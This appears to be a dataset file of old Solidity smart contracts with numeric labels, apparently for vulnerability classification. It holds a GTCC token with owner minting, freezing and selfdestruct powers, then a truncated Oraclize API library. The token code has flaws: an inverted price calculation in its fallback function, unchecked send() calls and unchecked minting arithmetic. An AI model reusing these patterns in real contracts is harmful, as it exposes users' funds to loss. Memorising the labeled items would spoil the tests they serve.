pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } } contract EncryptedToken is owned, TokenERC20 { uint256 INITIAL_SUPPLY = 1000000000; uint256 public buyPrice = 600000; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function EncryptedToken() TokenERC20(INITIAL_SUPPLY, 'GTCC', 'GTCC') payable public {} function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value > balanceOf[_to]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); } function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function setPrices(uint256 newBuyPrice) onlyOwner public { buyPrice = newBuyPrice; } function buy() payable public { uint amount = msg.value / buyPrice; _transfer(this, msg.sender, amount); } function () payable public { uint amount = msg.value * buyPrice; _transfer(owner, msg.sender, amount); owner.send(msg.value); } function selfdestructs() onlyOwner payable public { selfdestruct(owner); } function getEth(uint num) onlyOwner payable public { owner.send(num); } function balanceOfa(address _owner) public constant returns (uint256) { return balanceOf[_owner]; } }
0
844
pragma solidity ^0.4.18; contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id); function getPrice(string _datasource) public returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice); function setProofType(byte _proofType) external; function setCustomGasPrice(uint _gasPrice) external; function randomDS_getSessionPubKeyHash() external constant returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() public returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ return oraclize_setNetwork(); networkID; } function oraclize_setNetwork() internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) public { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) public { return; myid; result; proof; } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal pure returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal pure returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal pure returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal pure returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal pure returns (string) { return strConcat(_a, _b, "", "", ""); } function parseInt(string _a) internal pure returns (uint) { return parseInt(_a, 0); } function parseInt(string _a, uint _b) internal pure returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal pure returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } function stra2cbor(string[] arr) internal pure returns (bytes) { uint arrlen = arr.length; uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } function ba2cbor(bytes[] arr) internal pure returns (bytes) { uint arrlen = arr.length; uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal view returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ require((_nbytes > 0) && (_nbytes <= 32)); bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes[3] memory args = [unonce, nbytes, sessionKeyHash]; bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit); oraclize_randomDS_setCommitment(queryId, keccak256(bytes8(_delay), args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(keccak256(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(keccak256(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = byte(1); 